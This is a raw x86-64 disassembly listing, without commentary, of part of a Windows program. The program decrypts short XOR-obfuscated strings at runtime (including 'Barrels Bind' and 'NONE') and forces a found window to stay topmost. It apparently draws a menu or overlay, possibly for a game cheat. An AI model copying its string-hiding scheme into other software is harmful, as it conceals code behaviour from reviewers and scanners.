lea rcx, [rbp + 0x33]
mov rbx, rax
call fcn.140070390
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14006d9f4
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov r8, rbx
lea rdx, [0x14008a354]
mov rcx, rax
call fcn.14003a280
call fcn.14003afa0
lea rcx, [0x140077ab6]
call fcn.1400382d0
movss xmm0, dword [0x14007f840]
movaps xmm1, xmm12
call fcn.140012400
cmp byte [0x14008a0c8], 0
je 0x14006dbf0
lea rdx, [rbp + 0x208]
mov byte [rbp + 0x34], 0
lea rcx, [rbp + 0x34]
call fcn.1400703b0
mov rbx, rax
cmp byte [rax + 7], 0
je 0x14006db74
cmp edi, 2
jl 0x14006db30
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
jmp 0x14006db74
mov r9, rbx
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14006db40
mov edx, 0x23
mov dword [rsp + 0x20], 0xff
mov r9d, 0x6d
lea rcx, [rbp + 0x790]
mov r8d, 0xa8
call fcn.140037b30
lea rdx, [rbp + 0x7a0]
mov rcx, rax
call fcn.140024de0
mov rdx, rbx
lea rcx, [rbp + 0x7a0]
call fcn.1400383d0
cmp byte [0x14008a0c8], 1
jne 0x14006dbd0
cmp byte [0x14008ae2b], 1
jne 0x14006dbd0
mov byte [0x14008ae2b], 0
cmp byte [0x14008a0c9], 1
jne 0x14006dbf0
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14006dbf0
lea rcx, str.Barrels_Bind
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x14006dda7
lea rdx, [rbp + 0x660]
mov byte [rbp + 0x35], 0
lea rcx, [rbp + 0x35]
call fcn.1400703c0
mov rbx, rax
cmp byte [rax + 0xe], 0
je 0x14006dd44
xor r8d, r8d
cmp edi, 2
jl 0x14006dcff
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14006dd10
mov edx, 0x23
mov dword [rsp + 0x20], 0xff
mov r9d, 0x6d
lea rcx, [rbp + 0x7b0]
mov r8d, 0xa8
call fcn.140037b30
lea rdx, [rbp + 0x7f0]
mov rcx, rax
call fcn.140024de0
mov rdx, rbx
lea rcx, [rbp + 0x7f0]
call fcn.1400383d0
cmp byte [0x14008a0c9], 1
jne 0x14006dda7
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14006dda7
lea rcx, str.__
call fcn.140013150
lea rcx, [0x140077ab6]
call fcn.1400382d0
movss xmm0, dword [0x14007f81c]
movaps xmm1, xmm12
call fcn.140012400
cmp byte [0x14008a0c8], 0
je 0x14006de36
lea rdx, [rbp + 0x410]
mov byte [rbp + 0x36], 0
lea rcx, [rbp + 0x36]
call fcn.1400703f0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14006de0e
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov rcx, rax
call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006de36
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006de3d
mov byte [0x14008ae2b], 0
jmp 0x14006dfcc
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006dfcc
lea rdx, [rbp + 0x1150]
mov byte [rbp + 0x37], 0
lea rcx, [rbp + 0x37]
call fcn.140070410
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x14006dfc4
xor r8d, r8d
cmp edi, 2
jl 0x14006df85
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14006de90
cmp r8d, 0x13
jge 0x14006dfc4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x14006df90
mov rcx, r10
call fcn.1400382d0
movss xmm0, dword [0x14007f864]
movaps xmm1, xmm12
call fcn.140012400
cmp byte [0x14008a0c8], 0
je 0x14006e04f
lea rdx, [rbp + 0x420]
mov byte [rbp + 0x38], 0
lea rcx, [rbp + 0x38]
call fcn.140070440
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14006e027
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov rcx, rax
call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006e04f
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006e056
mov byte [0x14008ae2b], 0
jmp 0x14006e1dc
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006e1dc
lea rdx, [rbp + 0x11c8]
mov byte [rbp + 0x39], 0
lea rcx, [rbp + 0x39]
call fcn.140070460
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x14006e1d4
xor r8d, r8d
cmp edi, 2
jl 0x14006e195
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14006e0a0
cmp r8d, 0x15
jge 0x14006e1d4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x14006e1a0
mov rcx, r10
call fcn.1400382d0
lea rcx, [0x140077ab6]
call fcn.1400382d0
movaps xmm1, xmm12
movaps xmm0, xmm14
call fcn.140012400
movzx eax, word [0x14007ef80]
lea r8, [rbp + 0x210]
movsd xmm0, qword [0x14007ef78]
lea rdx, [0x14008a35c]
movsd qword [rbp + 0x510], xmm0
lea rcx, [rbp + 0x510]
xor byte [rbp + 0x511], 0x35
xor byte [rbp + 0x512], 0x36
xor byte [rbp + 0x513], 0x37
xor byte [rbp + 0x514], 0x38
xor byte [rbp + 0x515], 0x39
xor byte [rbp + 0x516], 0x3a
xor byte [rbp + 0x517], 0x3b
mov word [rbp + 0x518], ax
movzx eax, byte [0x14007ef82]
xor byte [rbp + 0x518], 0x3c
xor al, 0x3e
xor byte [rbp + 0x519], 0x3d
mov byte [rbp + 0x51a], al
mov dword [rbp + 0x210], 0x42a00000
mov dword [rbp + 0x214], 0x41a00000
mov byte [rbp + 0x510], 0x23
call fcn.14003a280
movaps xmm1, xmm12
movaps xmm0, xmm13
call fcn.140012400
cmp byte [0x14007e807], 0
mov rax, qword [0x14007e800]
mov qword [rbp + 0x220], rax
mov dword [rbp + 0x218], 0x42a00000
mov dword [rbp + 0x21c], 0x41a00000
je 0x14006e404
cmp edi, 2
jl 0x14006e3ba
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
movdqa xmm2, xmm7
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x220]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm10
xorps xmm2, xmm1
punpckhdq xmm0, xmm10
movd dword [rbp + 0x220], xmm2
movdqa xmm1, xmm10
pmuldq xmm0, xmm6
movdqa xmm2, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x224]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x224], xmm2
jmp 0x14006e404
lea r9, [rbp + 0x220]
xor r8d, r8d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14006e3d0
lea r8, [rbp + 0x218]
lea rdx, [0x14008a3fc]
lea rcx, [rbp + 0x220]
call fcn.14003a280
movss xmm0, dword [0x14007f820]
movaps xmm1, xmm12
call fcn.140012400
lea rcx, [0x140077ab6]
call fcn.1400382d0
call fcn.14003afa0
lea rcx, [0x140077ab6]
call fcn.1400382d0
call fcn.14000b700
cmp byte [0x14008b52b], 0
je 0x14006efb7
movups xmm0, xmmword [0x14007e530]
movzx eax, byte [0x14007e548]
xor r8d, r8d
mov byte [rbp + 0x1260], al
movups xmmword [rbp + 0x1248], xmm0
movsd xmm0, qword [0x14007e540]
movsd qword [rbp + 0x1258], xmm0
cmp edi, 2
jl 0x14006e5a5
movdqa xmmword [rbp + 0x810], xmm11
lea rcx, [rbp + 0x124c]
mov edx, dword [rbp + 0x810]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14006e4b0
cmp r8d, 0x19
jge 0x14006e5f4
movsxd rax, r8d
lea r9, [rbp + 0x1248]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x14006e5c0
lea rdx, [rbp + 0x1248]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov dword [rsp + 0x30], 0x63
xor r9d, r9d
mov rbx, rax
xor r8d, r8d
xor eax, eax
mov rdx, 0xffffffffffffffff
mov dword [rsp + 0x28], eax
mov rcx, rbx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_SetWindowPos]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rax, qword [0x14008ae30]
xor r8d, r8d
movss xmm1, dword [0x14007f844]
movss xmm0, dword [0x14007f874]
unpcklps xmm0, xmm1
or dword [rax + 0x1cd0], 2
movsd qword [rax + 0x1cf4], xmm0
movsd xmm0, qword [0x14007e540]
mov dword [rax + 0x1cd8], 1
movzx eax, byte [0x14007e548]
mov byte [rbp + 0x1280], al
movsd qword [rbp + 0x1278], xmm0
movups xmm1, xmmword [0x14007e530]
movups xmmword [rbp + 0x1268], xmm1
cmp edi, 2
jl 0x14006e7b5
movdqa xmmword [rbp + 0x810], xmm11
lea rcx, [rbp + 0x126c]
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14006e6c0
cmp r8d, 0x19
jge 0x14006e804
movsxd rax, r8d
lea r9, [rbp + 0x1268]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x19
jl 0x14006e7d0
xor r8d, r8d
lea rdx, [0x14008b52b]
lea rcx, [rbp + 0x1268]
call fcn.14000e400
cmp byte [0x14008a0c8], 0
je 0x14006e88c
lea rdx, [rbp + 0x380]
mov byte [rbp + 0x3a], 0
lea rcx, [rbp + 0x3a]
call fcn.140070490
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14006e864
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
mov rcx, rax
call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006e88c
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006e893
mov byte [0x14008ae2b], 0
jmp 0x14006e9ec
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006e9ec
lea rdx, [rbp + 0x6b0]
mov byte [rbp + 0x3b], 0
lea rcx, [rbp + 0x3b]
call fcn.1400704b0
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x14006e9e4
xor r8d, r8d
cmp edi, 2
jl 0x14006e9a1
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x14006e9b0
mov rcx, r10
call fcn.1400382d0
movaps xmm1, xmm12
movaps xmm0, xmm13
call fcn.140012400
movss xmm3, dword [0x14007f3d0]
lea rcx, [rbp + 0x880]
movss xmm2, dword [0x14007f48c]
movaps xmm1, xmm13
mov rbx, qword [str.NONE]
movss dword [rsp + 0x20], xmm15
call fcn.140002a30
mov rdx, rbx
mov rcx, rax
call fcn.1400383d0
cmp byte [0x14008a0c8], 0
je 0x14006eb99
lea rdx, [rbp + 0x230]
mov byte [rbp + 0x3c], 0
lea rcx, [rbp + 0x3c]
call fcn.1400704e0
mov rcx, rax
cmp byte [rax + 7], 0
je 0x14006eb74
cmp edi, 2
jl 0x14006eb3a
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rcx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
jmp 0x14006eb74
mov r9, rcx
xor r8d, r8d
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14006eb40
call fcn.1400382d0
cmp byte [0x14008a0c8], 1
jne 0x14006eb99
movzx eax, byte [0x14008ae2b]
cmp al, 1
jne 0x14006eba0
mov byte [0x14008ae2b], 0
jmp 0x14006ed2c
movzx eax, byte [0x14008ae2b]
test al, al
je 0x14006ed2c
lea rdx, [rbp + 0x1030]
mov byte [rbp + 0x3d], 0
lea rcx, [rbp + 0x3d]
call fcn.1400704f0
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x14006ed24
xor r8d, r8d
cmp edi, 2
jl 0x14006ece5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x14006ebf0
cmp r8d, 0x11
jge 0x14006ed24
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x14006ecf0
mov rcx, r10
call fcn.1400382d0
movaps xmm1, xmm12
movaps xmm0, xmm13
call fcn.140012400
movss xmm3, dword [0x14007f3d0]
lea rcx, [rbp + 0x890]
movss xmm2, dword [0x14007f48c]
movaps xmm1, xmm13
mov rbx, qword [str.NONE]
movss dword [rsp + 0x20], xmm15
